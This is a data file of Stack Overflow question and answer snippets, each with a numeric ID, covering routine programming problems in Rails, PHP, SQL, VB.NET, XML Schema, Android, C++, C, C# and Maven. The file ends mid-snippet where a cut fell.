20543929	0	 <p>Finally am able to find the actual cause of above issue.</p> <p>I am using the gem <a href="https://github.com/wildbit/postmark-rails" rel="nofollow">postmark-rails</a>, previously postmark was not supporting the email-attachments, so recently they had enhanced gem to support attachments and unfortunately i was using the old version of it, so i need to update gem version to latest as they have mentioned in one of their issues: <a href="https://github.com/wildbit/postmark-rails/issues/25" rel="nofollow">attachment-issue</a></p> <p>also i was trying to send url of file saved on S3, so instead of that i need to read that file from url and then send it as attachment</p> <pre><code> require "open-uri" def send_refer_pt_request(params, attachment) if attachment.present? mime_type = MIME::Types.type_for(attachment).first url_data = open(attachment).read() attachments["#{attachment.split('/').last}"] = { mime_type: mime_type, content: url_data } end mail( to: &lt;some_email&gt;, subject: "Refer Request", tag: "refer_request") end </code></pre>
19224214	0	 <p>You are using CodeIgniter so why are you trying to load anything directly?</p> <p>Call the page as you would normally and add a controller method to do what is required in this situation. So:</p> <p>Assuming you have a controller called 'Search' create a method called something relevant lets say 'special_case' and call that with any parameters it requires like so</p> <pre><code>&lt;?php class Search extends Controller { function index() { // I assume this is what it is currently doing } function special_case() { // Make this do whatever is required in this case. } </code></pre> <p>Then call it from your Javascript using the standard CodeIgniter controller/method/param1/param2 ...... mechanism.</p>
22845097	0	 <p>Ok this works in SqlServer not sure about MySQL, but perhaps it will help you get on the right track.</p> <pre><code>Select Top 1 Parent.Title, Descriptions.Description From Reviews Parent inner join Reviews Child on Parent.Id = Child.Parent inner join Descriptions on Child.Id = Descriptions.review_id Where Parent.Id = 1 Order By Child.[Views] desc </code></pre> <p>Fiddle: <a href="http://sqlfiddle.com/#!6/89a76/1" rel="nofollow">http://sqlfiddle.com/#!6/89a76/1</a></p> <p>Psuedo Code without Table Names as Requested</p> <blockquote> <pre><code>Select Take the Top 1 Parent.Title, Descriptions.Description From Table1 (The Parent) inner join Table1 Back onto itself (The Child) linking The parents Id to the Child's Parent inner join Table2 onto the Child Linking Child's Id to the Descriptions' review_id Where the parents Id is 1 (or the Passed in value) Order By The number of views the child had desc </code></pre> </blockquote>
34455880	0	 <p>in WordPress you need to specify an <code>action</code>. This should work:</p> <pre><code>action="&lt;?php echo get_permalink(); ?&gt; </code></pre>
23952149	0	DTMF Tone Detection during incoming oncall in Blackberrry java <p>I would like to know whether we could receive the DTMF tones in blackberry java.Suppose,i am getting a call,and once i accept the call,is it possible to detect the keys that the other person is pressing during our call. I want to know any possiblity is available in bb java.</p>
31068147	0	 <p>Sounds like an issue with the way iTunes connect is set up, check you leaderboard setting and make sure 'Score Submission Type' is set to 'Best Score' and 'Sort Order' is set to 'High To Low'</p>
8492014	0	 <p>In WordPress 3.2.1 the capability is <code>edit_theme_options</code>. <code>switch_themes</code> will do nothing more than allow you to activate a different theme from the available ones.</p>
40916	0	 <p>Just an idea, but couldn't you use Regex to quickly strip out the characters and then compare against that like @Matt Hamilton suggested?</p> <p>Maybe even set up a view (not sure of mysql on views) that would hold all phone numbers stripped by regex to a plain phone number?</p>
17276580	0	looping through XML file using VB.NET <p>I am having a problem processing an XMl file. I want to loop through (using VB.NET) the file and extract all the values of the OrderID element. </p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;ListOrdersResponse xmlns="https://xxx.xxxxxx.com/Orders/999uuu777"&gt; &lt;ListOrdersResult&gt; &lt;NextToken&gt;XXXXXXXXXX&lt;/NextToken&gt; &lt;Orders&gt; &lt;Order&gt; &lt;ShipmentServiceLevelCategory&gt;Standard&lt;/ShipmentServiceLevelCategory&gt; &lt;OrderId&gt;ooooooooo&lt;/OrderId&gt; &lt;/Order&gt; &lt;Order&gt; &lt;ShipmentServiceLevelCategory&gt;Standard&lt;/ShipmentServiceLevelCategory&gt; &lt;OrderId&gt;ujuujujuj&lt;/OrderId&gt; &lt;/Order&gt; &lt;/Orders&gt; &lt;CreatedBefore&gt;2013-06-19T09:10:47Z&lt;/CreatedBefore&gt; &lt;/ListOrdersResult&gt; &lt;ResponseMetadata&gt; &lt;RequestId&gt;8e34f7d9-3af7-4490-801b-cccc7777yu&lt;/RequestId&gt; &lt;/ResponseMetadata&gt; &lt;/ListOrdersResponse&gt; </code></pre> <p>Here is the code I am trying but it does not loop through each order</p> <pre class="lang-vb prettyprint-override"><code>Dim doc As New XmlDocument() doc.Load(file) Dim nodelist As XmlNodeList = doc.SelectNodes(".//Orders/Order") For Each node As XmlElement In nodelist console.writeline(node.SelectSingleNode("OrderID").InnerText) Next </code></pre> <p>Any help would be gratefully appreciated.</p>
4380988	0	XMl Schema: Unique key values within parent <p>I have the following XML:</p> <pre><code> &lt;enumTypes xmlns="tempURI"&gt; &lt;enumType id="1"&gt; &lt;enumValue id="1" value="Item1"/&gt; &lt;enumValue id="2" value="Item2"/&gt; &lt;enumValue id="3" value="Item3"/&gt; &lt;/enumType&gt; &lt;enumType id="2"&gt; &lt;enumValue id="1" value="Item1"/&gt; &lt;enumValue id="2" value="Item2"/&gt; &lt;/enumType&gt; &lt;/enumTypes&gt; </code></pre> <p>I also have the following schema:</p> <pre><code> &lt;xs:element name="enumTypes"&gt; &lt;xs:complexType&gt; &lt;xs:sequence minOccurs="1" maxOccurs="unbounded"&gt; &lt;xs:element name="enumType"&gt; &lt;xs:complexType&gt; &lt;xs:sequence minOccurs="1" maxOccurs="unbounded"&gt; &lt;xs:element name="enumValue"&gt; &lt;xs:complexType&gt; &lt;xs:attribute name="id" type="xs:string" use="required"/&gt; &lt;xs:attribute name="value" type="xs:string" use="required"/&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;xs:attribute name="id" type="xs:string"/&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:key name="enumTypeKey"&gt; &lt;xs:selector xpath="enumTypes/enumType"/&gt; &lt;xs:field xpath="@id"/&gt; &lt;/xs:key&gt; &lt;xs:key name="enumValueKey"&gt; &lt;xs:selector xpath="enumTypes/enumType/enumValue"/&gt; &lt;xs:field xpath="@id"/&gt; &lt;/xs:key&gt; </code></pre> <p>I'm trying to force the enumValue ID's to be unique WITHIN a enumType, but so far I can only get it to force them to be unique across ALL enumTypes.</p> <p>I'm guessing there's a problem with my selector XPath but I can't seem to get it sorted out.</p> <p>Any help would be appreciated!</p>
17634286	0	Detect which layout is in use in an activity with two layouts <p>I have an activity called MainActivity that has two layouts.The previous activity has two buttons to choose which layout to be set.I need the button in MainActivity to act differently according to the layout in use, This is my code:</p> <pre><code> public class MainActivity extends Activity implements OnClickListener { Button shoot; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Bundle extras = getIntent().getExtras(); if (extras != null) { int btnNumber = extras.getInt("button"); switch(btnNumber) { case 1 : setContentView(R.layout.first_layout); break; case 2 : setContentView(R.layout.second_layout); break; } } shoot=(Button)findViewById(R.id.button1); shoot.setOnClickListener(this); public void onClick(View arg0) { // TODO Auto-generated method stub switch(arg0.getId()) { case R.id.button1: // WHAT SHOULD THE CODE BE HERE break; } } </code></pre>
3894791	0	 <p>jQueryUI extends the animate class for this reason specifically. You can leave off the original parameter to append a new class to your object.</p> <pre><code>$(".class1").switchClass("", "class2", 1000); </code></pre> <p><a href="http://jsfiddle.net/m7dAQ/">Sample here.</a></p>
30193477	0	 <pre><code>&lt;meta name="viewport" content="width=device-width, initial-scale=1,maximum-scale=1,user-scalable=no"&gt; </code></pre>
10728042	1	Break multiple lines in a text file into a list of lists <p>I am working with a text file ex:</p> <pre><code>blahblahblahblahblahblahblah blahblahblahblahblahblahblah start important1a important1b important2a important2b end blahblahblahblahblahblahblah </code></pre> <p>What I want is to get an output like</p> <pre><code>["'important1a', 'important1b'", "'important2a', 'important2b'"] </code></pre> <p>Where each important line is split into individual elements, but they are grouped together by line in one list.</p> <p>I have gotten close with this:</p> <pre><code>import shlex useful = [] with open('test.txt', 'r') as myfile: for line in myfile: if "start" in line: break for line in myfile: if "end" in line: break useful.append(line) data = "".join(useful) split_data = shlex.split(data) print split_data </code></pre> <p>This outputs:</p> <pre><code>['important1a', 'important1b', 'important2a', 'important2b'] </code></pre> <p>There is no distinction between lines.</p> <p>How can I modify this to distinguish each line? Thanks!</p>
5388506	0	 <p>How are you hosting your service?</p> <p>If your service is hosted in IIS, it is possible that the application was recycled between the 2 calls. In this case the app domain is recreated and the static members loose their values.</p>
19985933	0	 <p>Hmmm... What happens if you move the line where you assign to <code>scrn(CONV_INTEGER(X),CONV_INTEGER(Y)) &lt;= "00111000" when X = 1 else ...</code> to somewhere inside your process?</p> <p>Also there is no need to use binary literals in your code (e.g., <code>if (X = "1100100000")</code>). Just use integer literals, or decimal bit-string literals. Better yet, define all your numeric values as integers or naturals. As a bonus, your code will be cleaner because you won't need all those conversion functions.</p>
3642269	0	Reusable Page_PreRender function in asp.net <p>I have a function which sets my linkbutton as the default button for a panel.</p> <pre><code>protected void Page_PreRender(object sender, EventArgs e) { string addClickFunctionScript = @"function addClickFunction(id) { var b = document.getElementById(id); if (b &amp;&amp; typeof(b.click) == 'undefined') b.click = function() { var result = true; if (b.onclick) result = b.onclick(); if (typeof(result) == 'undefined' || result) eval(b.getAttribute('href')); } };"; string clickScript = String.Format("addClickFunction('{0}');", lbHello.ClientID); Page.ClientScript.RegisterStartupScript(this.GetType(), "addClickFunctionScript", addClickFunctionScript, true); Page.ClientScript.RegisterStartupScript(this.GetType(), "click_" + lbHello.ClientID, clickScript, true); } </code></pre> <p>This works fine. How to make this reusable to all my pages of my application. One page can have multiple linkbuttons and multiple panels.... Any suggestion...</p>
36586376	0	How can I pass the results returned by a method from controller to the view <p>I want to use the results returned by a method (cursor in my case) from the controller in my view, in order to draw a graph from the data returned. I wrote a piece of code but I have not found how to pass data to the view. </p> <pre><code> //controller [HttpPost] public async System.Threading.Tasks.Task&lt;ActionResult&gt; drawgraph(Inputmodel m) { List&lt;Client&gt; client = new List&lt;Client&gt;(); var collection = db.GetCollection&lt;Client&gt;("Client"); var builder = Builders&lt;Client&gt;.Filter; var beginDate = Convert.ToDateTime(m.date_begin).Date; var endDate = Convert.ToDateTime(m.date_end).Date; var filter = builder.Gte("date", beginDate) &amp; builder.Lt("date", endDate.AddDays(1)) &amp; builder.Eq("field2", m.taux); var cursor = await collection.DistinctAsync&lt;double&gt;("field2",filter); return View(cursor); } </code></pre> <hr> <pre><code>//view @{ var myChart = new Chart(width:600,height: 400) .AddTitle("graphique") .AddSeries(chartType: "Line") .DataBindTable(dataSource: cursor, xField: "date", yField:"field2") //here I want to use the returnet result by drawgraph in the controller .Write(); } </code></pre>
29663006	0	 <p>Registry cleaner (System Mechanic 14.5) did it to me (caused the Oracle listener service to be removed from Windows 7). Still had the listener.ora read somewhere else that using lsntrctl start will fix the problem in this circumstance (where there is a valid listener.ora but no service) by adding the service back in. </p>
5780014	0	 <blockquote> <p>SilentManager.mAlarmManager.cancel(SilentManager.pi); is the thing that keeps crashing if you leave the app and come back.</p> </blockquote> <p>Use <code>adb logcat</code>, DDMS, or the DDMS perspective in Eclipse to examine LogCat and look at the stack trace associated with your "crash". Most likely, you will find that it is a <code>NullPointerException</code>, because your process has been terminated and therefore your static <code>pi</code> data member is <code>null</code>.</p> <p>If this is your error, the solution is:</p> <p>Step #1: Get rid of the <code>pi</code> static data member.</p> <p>Step #2: When you <code>cancel()</code>, create a <code>PendingIntent</code> on an equivalent <code>Intent</code> to the one you used to create the alarm in the first place.</p>
30599051	0	 <p><strong>Answering my own question.</strong></p> <p>Actually, I followed the idea of sbabbi using a list of intervals coming from <code>boost/numeric/interval</code>, representing the union of intervals.</p> <p>Here is an example :</p> <pre><code>typedef boost::numeric::interval_lib::rounded_math&lt;double&gt; RoundedPolicy; typedef boost::numeric::interval_lib::checking_base&lt;double&gt; CheckingPolicy; typedef boost::numeric::interval_lib::policies&lt;RoundedPolicy,CheckingPolicy&gt; IntervalPolicies; typedef boost::numeric::interval&lt;double,IntervalPolicies&gt; interval; //... bool is_interval_empty(const interval&amp; inter) { return boost::numeric::empty(inter); } void restrict(interval&amp; domain, const interval&amp; inter) { for(std::list&lt;interval&gt;::iterator it = domain.begin(); it != domain.end(); ++it) *it = boost::numeric::intersect(*it, inter); domain.remove_if(is_interval_empty); } void restrict(interval&amp; domain, const interval&amp; inter1, const interval&amp; inter2) { for(std::list&lt;interval&gt;::iterator it = domain.begin(); it != domain.end(); ++it) { domain.push_front(boost::numeric::intersect(*it, inter1)); *it = boost::numeric::intersect(*it, inter2); } domain.remove_if(is_interval_empty); } //... std::list&lt;interval&gt; domain; for(unsigned long int i = 0; i &lt; constraints.size(); ++i) { if(constraints[i].is_lower_bound()) { interval restriction(constraints[i].get_lower_bound(), std::numeric_limits&lt;double&gt;::infinity()); restrict(domain, restriction); } else if(constraints[i].is_upper_bound()) { interval restriction(-std::numeric_limits&lt;double&gt;::infinity(), constraints[i].get_upper_bound()); restrict(domain, restriction); } else if(constraints[i].is_forbidden_range()) { interval restriction1(-std::numeric_limits&lt;double&gt;::infinity(), constraints[i].get_lower_bound()); interval restriction2(constraints[i].get_upper_bound(), std::numeric_limits&lt;double&gt;::infinity()); restrict(domain, restriction1, restriction2); } } if(domain.size() == 0) std::cout &lt;&lt; "empty domain" &lt;&lt; std::endl; else std::cout &lt;&lt; "the domain exists" &lt;&lt; std::endl; </code></pre>
8772229	0	 <p>Fixed, here's the solution <a href="http://stackoverflow.com/a/8550870/106616">http://stackoverflow.com/a/8550870/106616</a></p>
40177004	0	 <p>Since the Anniversary update, it is now possible to run background tasks from within the same process as the main app. Both the background task and the main app share the same memory. See <a href="https://msdn.microsoft.com/en-us/windows/uwp/launch-resume/create-and-register-a-singleprocess-background-task" rel="nofollow">Create and register a single-process background task</a> for information on how to do this.</p> <p>If you want to keep the background task in a separate process to the main app, then you can use a named <a href="https://msdn.microsoft.com/en-us/library/41acw8ct.aspx" rel="nofollow">EventWaitHandle</a>:</p> <p><strong>Foreground app code</strong></p> <pre><code>// Keep this handle alive for the duration of your app eventHandle = new EventWaitHandle(true, EventResetMode.ManualReset, "MyApp"); </code></pre> <p><strong>Background app code</strong></p> <pre><code>EventWaitHandle handle; if (EventWaitHandle.TryOpenExisting("MyApp", out handle)) { // Foreground app is running } else { // Foreground app is not running } </code></pre> <p>You need to be mindful of possible race conditions here (if that is a problem for your situation). You could probably make better use of the EventWaitHandle to synchronize whatever file task it is both processes need to do.</p>
1651679	0	 <p>I'm going to hazard a guess that your statement that the code is "slightly modified to work" means that this code:</p> <pre><code>newlistitem.Value = options[j][valuefield].ToString() + ((options[j]["pdprice"].ToString().Length &gt; 0 ) ? "/" + options[j]["pdprice"].ToString() : "" ); </code></pre> <p>actually looked like this:</p> <pre><code>newlistitem.Value = options[j][valuefield].ToString() + options[j]["pdprice"].ToString().Length &gt; 0 ? "/" + options[j]["pdprice"].ToString() : ""; </code></pre> <p>(note the missing parenthesis)</p> <p>The reason that <em>this</em> code will produce this error is that due to operator precedence, what will get evaluated is this:</p> <pre><code>String a = options[j][valuefield].ToString(); Int32 b = options[j]["pdprice"].ToString().Length; String c = a + b; Boolean d = c &gt; 0; String e = "/" + options[j]["pdprice"].ToString(); String f = ""; newlistitem.value = d ? e : f; </code></pre> <p>With this way of looking at it, <code>a+b</code> will produce a new string, since adding something to a string will convert that something to a string for concatenation. Basically, "xyz" + 3 gives "xyz3".</p> <p>By adding the parenthesis, your "slight modification", you've essentially rewritten the code to do this:</p> <pre><code>String a = options[j][valuefield].ToString(); String b = options[j]["pdprice"].ToString().Length; Boolean c = b &gt; 0; &lt;-- this is different String d = "/" + options[j]["pdprice"].ToString(); String e = ""; String f = c ? d : e; String g = a + f; &lt;-- and this newlistitem.value = g; </code></pre> <p>Notice the difference between <code>d</code> in the first code and <code>c</code> in the second code. You've moved the concatenation of the string out where it belongs, together with the other strings.</p> <p>So your slight modification works since it is the correct way of doing it, <strong>if you want to keep those expressions</strong>.</p> <p><a href="http://stackoverflow.com/questions/1651490/in-c-checking-string-length-greater-than-zero-produces-error/1651509#1651509">The accepted answer</a> is a much better alternative. My goal was to give you an explanation as to the reason of the exception.</p>
27722636	0	node.js mongodb projection ignored when there is a criterion <p>I am writing a node.js application using express, mongodb, and monk. </p> <p>When I do a find with criteria only or with projections only, I get the expected result, but when I do a find with both, the full documents are returned, i.e., the projection is not performed. My code looks like this: </p> <pre><code>var collection = db.get('myDB'); collection.find({field1: "value"},{field2: 1, _id: 0},function(e,docs) { ...do stuff with docs... }); </code></pre> <p>It returns not just <code>field2</code> but all fields of all the docs matching the criterion on <code>field1</code>. I can get <code>field2</code> from this, but I don't like the inefficiency of it.</p> <p>Is there a way to use both criteria and projections?</p>
1664334	0	C Network Programming - Winsock <p>I have been learning C over the last two weeks, managed to get my head around pointers, arrays and structures.</p> <p>I am looking to do a bit of socket programming on windows and was wondering if anyone has any websites with tutorials and examples or suggest books that teach network programming with winsock?</p> <p>I have tried looking for some but all seem to be aimed at towards linux/unix.</p> <p>Cheers</p> <p>Eef</p>
8764327	0	 <p>This is in addition to my comments: </p> <p>Check out the SDK listed in the link I gave with the comments. They have a sample RoR app laid out which should tell you pretty much exactly how to do each kind of adaptive payment with Rails. Just beware that there are <b>many</b> errors in this application. Look at James' answer on this question to fix them:</p> <p><a href="http://stackoverflow.com/questions/2717735/is-anyone-using-paypals-adaptive-payments-api-with-ruby">Is anyone using Paypal&#39;s Adaptive Payments API with Ruby?</a></p> <p>Also, thanks for the heads up on the paypal_adaptive gem.</p> <p>EDIT: Here's the SDK link just in case. <a href="https://www.x.com/developers/paypal/documentation-tools/sdk" rel="nofollow">https://www.x.com/developers/paypal/documentation-tools/sdk</a></p>
3130941	0	j2me code for blackberry application to display battery level <p>How can I make a Blackberry application display the battery level using J2ME?</p>
712004	0	Does Java have methods to get the various byte order marks? <p>I am looking for a utility method or constant in Java that will return me the bytes that correspond to the appropriate byte order mark for an encoding, but I can't seem to find one. Is there one? I really would like to do something like:</p> <pre><code>byte[] bom = Charset.forName( CharEncoding.UTF8 ).getByteOrderMark(); </code></pre> <p>Where <code>CharEncoding</code> comes from Apache Commons.</p>
2483795	0	 <p>The <a href="http://en.wikipedia.org/wiki/Canvas_element" rel="nofollow noreferrer">Canvas element</a> is essentially a drawing canvas that can be painted on programmatically; a sort of scriptable bitmap drawing tool for the web.</p> <p>I suppose the "amazing" thing about it, apart from the fact that we can now all create web-based MS Paint clones with ease, is that you have a much richer, completely free-form area for creating complex graphics client-side and on-the-fly. You can draw pretty graphs, or do things with photos. Allegedly, you can also do animation!</p> <p><a href="https://developer.mozilla.org/en/Canvas_tutorial" rel="nofollow noreferrer">Mozilla's Developer Center has a reasonable tutorial</a> if you want to try it out.</p>
1965618	0	 <p>You should take it as more of a symptom than part of the actual problem when you are stuck in system all the time. </p> <p>Memory fragmentation and paging out is the usual suspect, but it could be a myriad of things.</p> <p>In my experience performance problems are seldom something obvious like you are calling something specifically. Optimizing like commonly suggested is usually useless at a really low level. It catches things that amount to bugs that are correct but usually unintended like allocating something and deleting it over and over but for things like this you often need to have a deep understanding of everything happening to figure out exactly where the issue is (but like I said, surprisingly often it's memory management related if you are stuck in system calls a lot).</p>
3637786	0	 <p>By default maven checks dependencies in your local repository first, then on external repositories. The only case which will make maven check external repositories, is the use of snapshots.</p> <p>If you use snapshots, you can use the <code>&lt;updatePolicy&gt;</code> markup to change when your external repository will be checked.</p> <p>If you wan to work in offline mode you can either set a temporary offline option on your mvn command with the "-o" option, or you can set it up in your "~/.m2/settings.xml" with <code>&lt;offline&gt;true&lt;/offline&gt;</code>.</p> <hr> <p>Before you do so, remember to use the <code>dependecy:go-offline</code> mojo to download your dependency once before you really activate the offline mode.</p> <hr> <p><strong>Resources :</strong></p> <ul> <li><a href="http://maven.apache.org/settings.html#Repositories" rel="nofollow noreferrer">Maven - Repositories</a></li> <li><a href="http://maven.apache.org/settings.html#Simple_Values" rel="nofollow noreferrer">Maven - simple settings values</a></li> <li><a href="http://maven.apache.org/plugins/maven-dependency-plugin/go-offline-mojo.html" rel="nofollow noreferrer">Maven - dependecy:go-offline</a></li> </ul>
21285838	0	 <p>May Issue: You need to call jquery functionality after <code>ready event fired</code> from JQuery. size and maxlength it works as we expected.maxlength how many char user can type and Size determine visible width, in characters.</p> <pre><code> &lt;h2&gt;Aufgaben:&lt;/h2&gt; &lt;div data-role="fieldcontain"&gt; &lt;ul id="exercise-list" data-role="listview" data-inset="true"&gt; &lt;li id="addExercise"&gt;Aufgabenname: &lt;input type="text" name="aufgabenname" id="aufgabenname" size="20" maxlength="20"&gt;&lt;/input&gt; Maximalpunktzahl: &lt;input type="text" name="maxPunkte" id="maxPunkte" size="2" maxlength="2"&gt;&lt;/input&gt;&lt;div style="float:right;"&gt;&lt;button id="add" data-icon="plus" data-iconpos="notext"&gt;&lt;/button&gt;&lt;/div&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;script&gt; $(document).ready(function() { $("#add").on("click", function() { var aufgabenname = $("#aufgabenname").val(); var maxPunkte = $("#maxPunkte").val(); $("#addExercise").prepend("&lt;li&gt;Aufgabe: "+aufgabenname+", Maximalpunktzahl: "+maxPunkte+" &lt;div style=\"float:right;\"&gt;&lt;button class=\"delete\" data-icon=\"delete\" data-iconpos=\"notext\"&gt;&lt;/button&gt;&lt;/div&gt;&lt;/li&gt;"); }); }); &lt;/script&gt; </code></pre> <p><a href="http://jsfiddle.net/ehyZL/" rel="nofollow">Fiddle Demo</a></p>
39086782	0	Creating Linked List dynamically in C <p>I'm trying to create a linked list dynamically in <code>c</code> using structures and print it. But my below code is throwing runtime error can anybody tell me why I am getting this error. Here is my code.</p> <pre><code>#include &lt;stdio.h&gt; struct cnode { int value; struct cnode *next; }; void print_list(struct cnode* start) { while(start-&gt;next != NULL) { printf("%d-&gt;", start-&gt;value); start = start-&gt;next; } } int main(void) { int i,n,val; //List length scanf("%d", &amp;n); //Head struct cnode* start; scanf("%d", &amp;val); start-&gt;value = val; struct cnode* temp = start; for (i=1; i&lt;=n-1; i++) { struct cnode* node; scanf("%d", &amp;val); node-&gt;value = val; temp-&gt;next = node; temp = node; } temp-&gt;next = NULL; print_list(start); return 0; } </code></pre>
18919079	0	 <p>As an additional idea, the problem of GarethD's method is, that it requires more or an equal number of rows in the second table as in the first table.</p> <p>So you can just do a cross join of the second table with the first one, and limit the results to the number of rows in the first table.</p> <pre><code>WITH PatientCTE AS ( SELECT PatientID ,pat_FirstName ,pat_LastName ,pat_StreetName ,pat_PostalCode ,pat_City ,pat_DateOfBirth ,rn = ROW_NUMBER() OVER(ORDER BY NEWID()) FROM Patients ) , SampleData AS ( SELECT TOP (SELECT COUNT(*) FROM PatientCTE ) GivenName ,SurName ,StreetAddress ,ZipCode ,City ,Birthday ,rn = ROW_NUMBER() OVER(ORDER BY NEWID()) FROM FakeNameGenerator CROSS JOIN PatientCTE ) UPDATE p SET p.pat_FirstName = fn.GivenName ,p.pat_LastName = fn.SurName ,p.pat_StreetName = fn.StreetAddress ,p.pat_PostalCode = fn.ZipCode ,p.pat_City = fn.City ,p.pat_DateOfBirth = fn.BirthDay FROM PatientCTE AS p INNER JOIN SampleData AS fn ON fn.rn = p.rn </code></pre>
18025599	0	How to reset a variable <p>I'm not sure if I'm missing something obvious or whether this is actually something I don't know how to do, but I'd like to be able to reset some variables (<code>integers</code>). I have a method that increments them, and they're saved in <code>SharedPreferences</code>. I'd like to be able to reset these to 0 on a button click.</p> <p>I can clear <code>SharedPreferences</code> using the clear(); command, but the ints stay the same so as soon as they are called again they are back to what they were before the reset. I've also tried setting them equal to 0, but then I can't increment them any more. Is there a way to just reset or delete variables?</p> <p>Or, if that's not possible/too difficult, is there another way I can completely reset these ints?</p> <p>Thanks</p> <p>This is part of the incrementing code. This works. I can also clear <code>SharedPreferences</code>; that part is fine too. <em>The only part that doesn't work is resetting the int to 0, but keeping it incrementable</em>.</p> <pre><code>Button PlusOneButton = ((Button)findViewById(R.id.plusonebutton)); PlusOneButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { intName++; }}); </code></pre> <p>EDIT: the final code that works</p> <pre><code>import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.TextView; public class ThirdScreenActivity extends Activity { public int myIntPlusOne; public static final String PREFS = "MyPrefsFile"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.screen2); SharedPreferences sharedPrefs = getApplicationContext().getSharedPreferences("PREFS", 0); myIntPlusOne = sharedPrefs.getInt("myIntPlusOneSaved", 0); if ("ListView Item 1".equals(position)) { myIntPlusOne = sharedPrefs.getInt("myIntPlusOneSaved", 0); TextView PlusOne = ((TextView)findViewById(R.id.plusonetextview)); PlusOne.setText(String.valueOf(myIntPlusOne)); Button PlusOneButton = ((Button)findViewById(R.id.plusonebutton)); PlusOneButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { myIntPlusOne++; TextView PlusOne = ((TextView)findViewById(R.id.plusonetextview)); PlusOne.setText((myIntPlusOne)+""); SharedPreferences sharedPrefs = getApplicationContext().getSharedPreferences("PREFS", 0); Editor editor = sharedPrefs.edit(); editor.putInt("myIntPlusOneSaved", myIntPlusOne); editor.commit(); } }); } else if... } Button btnClear = (Button) findViewById(R.id.clearbtn); btnClear.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { myIntPlusOne=0; TextView PlusOne = ((TextView)findViewById(R.id.plusonetextview)); PlusOne.setText("0"); } }); } public void onPause() { super.onPause(); SharedPreferences sharedPrefs = getApplicationContext().getSharedPreferences("PREFS", 0); Editor editor = sharedPrefs.edit(); editor.putInt("myIntPlusOneSaved", myIntPlusOne); editor.commit(); } } </code></pre>
29270122	0	 <p>This function could probably be improved upon. Tip of the hat to @thelatemail.</p> <pre><code>lm.3Trans = function(y, x1, x2, transformations = c(log,sqrt,pwer)){ pwer = function(x, p = 2) poly(x,p) res = lapply(transformations, function(f) lm(y ~ f(x1) + x2)) res } </code></pre> <p>This will output your models into a list to which you could then do something like:</p> <pre><code>lapply(lm.3Trans(y,x,x1), summary) </code></pre> <p>To get more detailed summaries</p> <p>It might be worth expanding this function to take a formula, and perhaps another arguement to identify which predictor should be transformed. Please let me know if that is useful. </p>
25494742	0	 <p>I experienced the same problem.</p> <p>Downloaded and installed SQL Server 2012 SP2 and that seemed to have fixed the problem.</p> <p>Hope this helps!!</p>
7359193	0	 <p>For Ubuntu packages, it may not be the latest version for 2 reasons:</p> <ol> <li><strong>dependencies availability</strong>: the dependencies version required is not available in Ubuntu yet</li> <li><strong>stability</strong>: latest version may not be the most stable version, therefore the most stable version is picked by Ubuntu</li> </ol> <p>To manually update certain package to your desired version ( either upgrade / downgrade ), remove the version that comes along with Ubuntu, and download from developer. Follow the instructions to install the package. However, through this method, the package cannot update through <code>apt-get</code>.</p>
17848428	0	 <p>The error about the <code>/</code> operator usually indicates that PowerShell is not treating the command as a command line; prefix a <code>&amp;</code> to force it to do so. Note you'll also need to use <code>.\cspack</code> if <code>cspack</code> is in the current directory. PowerShell will also treat semicolons as statement terminators, so you'll want to surround each parameter with quotes to prevent that.</p> <pre><code>&amp; cspack "$a/ServiceDefinition.csdef" "/role:$b;$c" "/rolePropertiesFile:$a.$b;c$" "/sites:$a;$b;$c" "/out:$out" </code></pre>
22495450	0	 <p>Instead of writing your own recursive code, maybe you can just treat this like a LAF change and just invoke:</p> <pre><code>SwingUtilities.updateComponentTreeUI(frame); </code></pre> <p>See the section from the Swing tutorial on <a href="http://docs.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html#dynamic" rel="nofollow">Changing the LAF</a>.</p> <p>Also, there is no need to invoke revalidate() and repaint() in your code. The setFont(...) method will invoke those methods automatically. </p>
14250255	0	 <p>Access to s3 can be secured in a variety of ways, but frequently people want to host these files directly out of s3, so they provide public access. You must have setup access to your bucket/objects so that they are public.</p> <p>You can also set the bucket name to be a domain of your choosing ala files.yourdomain.com, add a CNAME pointing to s3, and they will automatically determine that the files should come from your public bucket, using a little bit of internal rewriting. </p>
29711664	0	 <ol> <li>Delete the blue folder where the image is. </li> <li>Import again and select "Copy items if needed". </li> <li>Select "Create Groups" NOT folders</li> </ol>
4382669	0	Checking for null and missing query string parameters in PHP <p>I want to be able to distinguish between existing query string parameters set to null, and missing parameters. So the parts of the question are:</p> <ul> <li>How do I check if a parameter <em>exists</em> in the query string </li> <li>What's the established method for passing a null value in a query string? (e.g. param=null or param=(nothing) )</li> </ul> <p>Thanks</p>
29739126	0	 <p>I think I see what's going on here. It's actually impossible for the <code>Fragment</code> to be duplicated with only one view container.</p> <p>I suspect that the items in your <code>ListFragment</code> are getting duplicated due to the call to <code>populateList()</code> in <code>onActivityCreated()</code>.</p> <p>Because<code>onActivityCreated()</code> is called every time you click the back button to return to <code>ColorListFragment</code> from <code>SaturationListFragment</code>, it is calling <code>populateList()</code> every time. See <a href="http://developer.android.com/reference/android/app/Fragment.html#onActivityCreated(android.os.Bundle)" rel="nofollow">documentation here</a></p> <p>In order to fix your issue, just move the call to <code>populateList()</code> to <code>onCreate()</code>, which is only called the first time the <code>ListFragment</code> is initialized:</p> <pre><code>public class ColorListFragment extends ListFragment { private List&lt;ColorGD&gt; mDrawableList = null; private ColorAdapter mAdapter = null; //add the onCreate() override @Override public void onCreate(Bundle savedInstance){ super.onCreate(savedInstance); populateList(); //add this here } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_color_list, container, false); } @Override public void onActivityCreated(Bundle savedInstanceState){ super.onActivityCreated(savedInstanceState); 